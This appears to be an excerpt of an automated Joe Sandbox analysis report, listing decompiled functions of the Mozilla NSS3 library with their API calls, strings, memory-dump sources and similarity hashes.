PR_UnloadLibrary.NSS3(00000000), ref: 6C6ECE48

Strings

wship6.dll, xrefs: 6C6ECDE3
freeaddrinfo, xrefs: 6C6ECD9F, 6C6ECE10
getaddrinfo, xrefs: 6C6ECD88, 6C6ECDF9
getnameinfo, xrefs: 6C6ECDB2, 6C6ECE23
ws2_32.dll, xrefs: 6C6ECD75

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 28e3623c183514f238feb50ce62ab5233d63e5f709ccee7a5098f92de181574e
Instruction ID: 6c6350936c69c1a386bf2d72c56a60320e13f7804c75041cac7e4762053c57ec
Opcode Fuzzy Hash: 28e3623c183514f238feb50ce62ab5233d63e5f709ccee7a5098f92de181574e
Instruction Fuzzy Hash: 82112CA5F1B11077DB006A352E00ABA3D9C5B0720EF744536E916D1F01FF22D629CAEE

Function 6C731C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C7313BC,?,?,?,6C731193), ref: 6C731C6B
PR_NewLock.NSS3(?,6C731193), ref: 6C731C7E

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PR_NewCondVar.NSS3(00000000,?,6C731193), ref: 6C731C91

Part of subcall function 6C60BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6121BC), ref: 6C60BB8C

PR_NewCondVar.NSS3(00000000,?,?,6C731193), ref: 6C731CA7

Part of subcall function 6C60BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C60BBEB
Part of subcall function 6C60BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C60BBFB
Part of subcall function 6C60BB80: GetLastError.KERNEL32 ref: 6C60BC03
Part of subcall function 6C60BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C60BC19
Part of subcall function 6C60BB80: free.MOZGLUE(00000000), ref: 6C60BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C731193), ref: 6C731CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C731193), ref: 6C731CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C731193), ref: 6C731CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C731193), ref: 6C731D1A

Part of subcall function 6C6E9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C611A48), ref: 6C6E9BB3
Part of subcall function 6C6E9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C611A48), ref: 6C6E9BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C731193), ref: 6C731D3D

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C731193), ref: 6C731D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C731193), ref: 6C731D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C731193), ref: 6C731D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C731193), ref: 6C731D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C731193), ref: 6C731D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C731193), ref: 6C731D93
PR_DestroyLock.NSS3(00000000,?,?,6C731193), ref: 6C731D9F
free.MOZGLUE(00000000,?,6C731193), ref: 6C731DA8

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 4b4c41f79fdc35ea9c463228b99d45a4331ac3c356387a8ffe44f29923552af4
Instruction ID: 9608400c30f723e5c89203e4ec74ca6041a37412981253de04c5b368e7068a8c
Opcode Fuzzy Hash: 4b4c41f79fdc35ea9c463228b99d45a4331ac3c356387a8ffe44f29923552af4
Instruction Fuzzy Hash: D231C6F1E107115BEB119F24AD01AA777E4AF0760DB044439E94A87F42FB71E418CBAA

Function 6C645E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C645ECF
EnterCriticalSection.KERNEL32(?), ref: 6C645EE3
PR_Unlock.NSS3(?), ref: 6C645F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C645FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C6461F4
S&fl, xrefs: 6C6462E3
S&fl, xrefs: 6C645E6C, 6C64627F, 6C645F12

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&fl$S&fl
API String ID: 2280678669-1585161461
Opcode ID: 94dc875ce359c012b2f1ad25b78287f19d75cc1167e370a65d5a9aaf0aae3013
Instruction ID: a58910acdfb15723b5b82397b753032bc81a6c6dc0ddd3a18ee8fa536bf3a187
Opcode Fuzzy Hash: 94dc875ce359c012b2f1ad25b78287f19d75cc1167e370a65d5a9aaf0aae3013
Instruction Fuzzy Hash: ECF104B4A00215DFDB54CF28C884B86BBF4FF09304F1582AAD8089B746E774EA94CF95

Function 6C690C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,il), ref: 6C690C81

Part of subcall function 6C67BE30: SECOID_FindOID_Util.NSS3(6C63311B,00000000,?,6C63311B,?), ref: 6C67BE44

Part of subcall function 6C668500: SECOID_GetAlgorithmTag_Util.NSS3(6C6695DC,00000000,00000000,00000000,?,6C6695DC,00000000,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C668517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C690CC4

Part of subcall function 6C67FAB0: free.MOZGLUE(?,-00000001,?,?,6C61F673,00000000,00000000), ref: 6C67FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C690CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C690D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C690D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C690D7D
free.MOZGLUE(00000000), ref: 6C690DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C690DC1
free.MOZGLUE(00000000), ref: 6C690DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C690E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C690E0F

Part of subcall function 6C6695C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C6695E0
Part of subcall function 6C6695C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C6695F5
Part of subcall function 6C6695C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C669609
Part of subcall function 6C6695C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C66961D
Part of subcall function 6C6695C0: PK11_GetInternalSlot.NSS3 ref: 6C66970B
Part of subcall function 6C6695C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C669756
Part of subcall function 6C6695C0: PK11_GetIVLength.NSS3(?), ref: 6C669767
Part of subcall function 6C6695C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C66977E
Part of subcall function 6C6695C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C66978E

Strings

*,il, xrefs: 6C690C69, 6C690DE0, 6C690C80, 6C690C8B, 6C690CAF
*,il, xrefs: 6C690DCC
-$il, xrefs: 6C690C64

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,il$*,il$-$il
API String ID: 3136566230-1071090931
Opcode ID: c14430cd31def093a12c73cf20f2c8be9c9fadbb1a254c46b9c2e32375eeb0a2
Instruction ID: e7505ba3423967a94c93fd52005074b2c70bca11c7843a346610e643b524906a
Opcode Fuzzy Hash: c14430cd31def093a12c73cf20f2c8be9c9fadbb1a254c46b9c2e32375eeb0a2
Instruction Fuzzy Hash: A041E1B190120AABEF009F64DC41BEF76B4AF0930CF104428E91557B51E735AA18CBFA

Function 6C685CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C685EC0,00000000,?,?), ref: 6C685CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C685CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C685CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C685D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C685EC0,00000000,?,?), ref: 6C685D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C685D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C685D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C685D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C685D80

Strings

multiaccess:, xrefs: 6C685CB8
sql:, xrefs: 6C685CD1, 6C685D36
NSS_DEFAULT_DB_TYPE, xrefs: 6C685D1A
dbm:, xrefs: 6C685D03, 6C685D60
extern:, xrefs: 6C685CEA, 6C685D4B

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: f666c94be5c109f42371a0b5bcbce9ab99181eeebdc84449249e2d7ace13b73f
Instruction ID: 14585d2d6658873c0ab66e7c095eaeb9a73245a64c6b6e554885fe781a6e109e
Opcode Fuzzy Hash: f666c94be5c109f42371a0b5bcbce9ab99181eeebdc84449249e2d7ace13b73f
Instruction Fuzzy Hash: CB31F7A0B43351ABFB021E359C48F6637E8AF0634AF240530ED57E6A81E7B1D915C2BD

Function 6C686CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C751DE0,?), ref: 6C686CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C686D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C686D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C686D82
DER_GetInteger_Util.NSS3(?), ref: 6C686DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C686DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C686E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C686F19
PK11_DigestBegin.NSS3(00000000), ref: 6C686F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C686F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C687011
PK11_FreeSymKey.NSS3(00000000), ref: 6C687033
free.MOZGLUE(?), ref: 6C68703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C687060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C687087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C6870AF

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 96f98476d5492631d9f12b440076a15edb5f0a55b00dbf70a075a06682912325
Instruction ID: ea59b9599ab6afc75b344be22afe24717e899c52dcf4b90beb73137d1532085b
Opcode Fuzzy Hash: 96f98476d5492631d9f12b440076a15edb5f0a55b00dbf70a075a06682912325
Instruction Fuzzy Hash: 3AA109B192A2009BEB108F24DC45B9B72A5DB8130CF248939F919DBB81E775D849C77F

Function 6C64AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64AF39
PR_Unlock.NSS3(?,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64AF69
TlsGetValue.KERNEL32 ref: 6C64B06B
EnterCriticalSection.KERNEL32(?), ref: 6C64B083
PR_Unlock.NSS3(?), ref: 6C64B0A4
TlsGetValue.KERNEL32 ref: 6C64B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C64B0D9
PR_Unlock.NSS3 ref: 6C64B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C64B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C64B182

Part of subcall function 6C67FAB0: free.MOZGLUE(?,-00000001,?,?,6C61F673,00000000,00000000), ref: 6C67FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C64B177

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64B1C2

Part of subcall function 6C671560: TlsGetValue.KERNEL32(00000000,?,6C640844,?), ref: 6C67157A
Part of subcall function 6C671560: EnterCriticalSection.KERNEL32(?,?,?,6C640844,?), ref: 6C67158F
Part of subcall function 6C671560: PR_Unlock.NSS3(?,?,?,?,6C640844,?), ref: 6C6715B2

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: e799343156d4b10680e1b6f1cd45374a375df01cce5288485b364b521631fd4a
Instruction ID: db436d13ac21138d38988e42ffdeb74c3fdf386158d1a3ff69949971256dfde0
Opcode Fuzzy Hash: e799343156d4b10680e1b6f1cd45374a375df01cce5288485b364b521631fd4a
Instruction Fuzzy Hash: 29A1D1B1E00205EBEF019F64DC41AEE77B4EF4A309F148035E909A7712E731E959CBA9

Function 6C642C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?dl,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23,?), ref: 6C642C62
EnterCriticalSection.KERNEL32(0000001C,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23,?), ref: 6C642C76
PL_HashTableLookup.NSS3(00000000,?,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23,?), ref: 6C642C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23,?), ref: 6C642C93

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23,?), ref: 6C642CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23,?), ref: 6C642CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23), ref: 6C642CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C63E477,?,?,?,00000001,00000000,?), ref: 6C642CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C63E477,?,?,?,00000001,00000000,?), ref: 6C642D4D
EnterCriticalSection.KERNEL32(?), ref: 6C642D61
PL_HashTableLookup.NSS3(?,?), ref: 6C642D71
PR_Unlock.NSS3(?), ref: 6C642D7E

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

Strings

#?dl, xrefs: 6C642C43

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?dl
API String ID: 2446853827-4183948977
Opcode ID: 96028d91d0dbf7a6255069715693b6281b11372be9adf9a8c760416a1ad23697
Instruction ID: 1476a42aebf487dbfd45da662114047c5f650adf7e9545efac009f568f554e8f
Opcode Fuzzy Hash: 96028d91d0dbf7a6255069715693b6281b11372be9adf9a8c760416a1ad23697
Instruction Fuzzy Hash: 7E5103B6D00214ABDB019F24DC449AAB7B8FF0A349B14C570ED18D7B11EB31E964CBE9

Function 6C69AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69ADB1

Part of subcall function 6C67BE30: SECOID_FindOID_Util.NSS3(6C63311B,00000000,?,6C63311B,?), ref: 6C67BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C69ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C69AE08

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C69AE25
PL_FreeArenaPool.NSS3 ref: 6C69AE63
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C69AE4D

Part of subcall function 6C5A4C70: TlsGetValue.KERNEL32(?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4C97
Part of subcall function 6C5A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CB0
Part of subcall function 6C5A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69AE93
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C69AECC
PL_FreeArenaPool.NSS3 ref: 6C69AEDE
PL_FinishArenaPool.NSS3 ref: 6C69AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69AEF5
PL_FinishArenaPool.NSS3 ref: 6C69AF16

Strings

security, xrefs: 6C69ADEE

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: c34e4f54c95a379de8dbdf984c56f4433f06da5183030f1b864d6e52dfbf823f
Instruction ID: 1a5c81b02071cf1d5ac1bab5a500f98333ee4a25f86a97a66cf371ae2b649e58
Opcode Fuzzy Hash: c34e4f54c95a379de8dbdf984c56f4433f06da5183030f1b864d6e52dfbf823f
Instruction Fuzzy Hash: 714128B1C05311A7EB214A259C44BBF32E4AF4231CF200525E91592B43FB39DA0AC6EF

Function 6C73AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6E9890: TlsGetValue.KERNEL32(?,?,?,6C6E97EB), ref: 6C6E989E

EnterCriticalSection.KERNEL32(?), ref: 6C73AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C73AFCE
PR_SetPollableEvent.NSS3(?), ref: 6C73AFD9
EnterCriticalSection.KERNEL32(?), ref: 6C73AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C73B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C73B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C73B070
PR_JoinThread.NSS3(?), ref: 6C73B07B
free.MOZGLUE(?), ref: 6C73B084
EnterCriticalSection.KERNEL32(?), ref: 6C73B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C73B0C4
PR_JoinThread.NSS3(?), ref: 6C73B0F3
free.MOZGLUE(?), ref: 6C73B0FC
PR_JoinThread.NSS3(?), ref: 6C73B137
free.MOZGLUE(?), ref: 6C73B140

Memory Dump Source

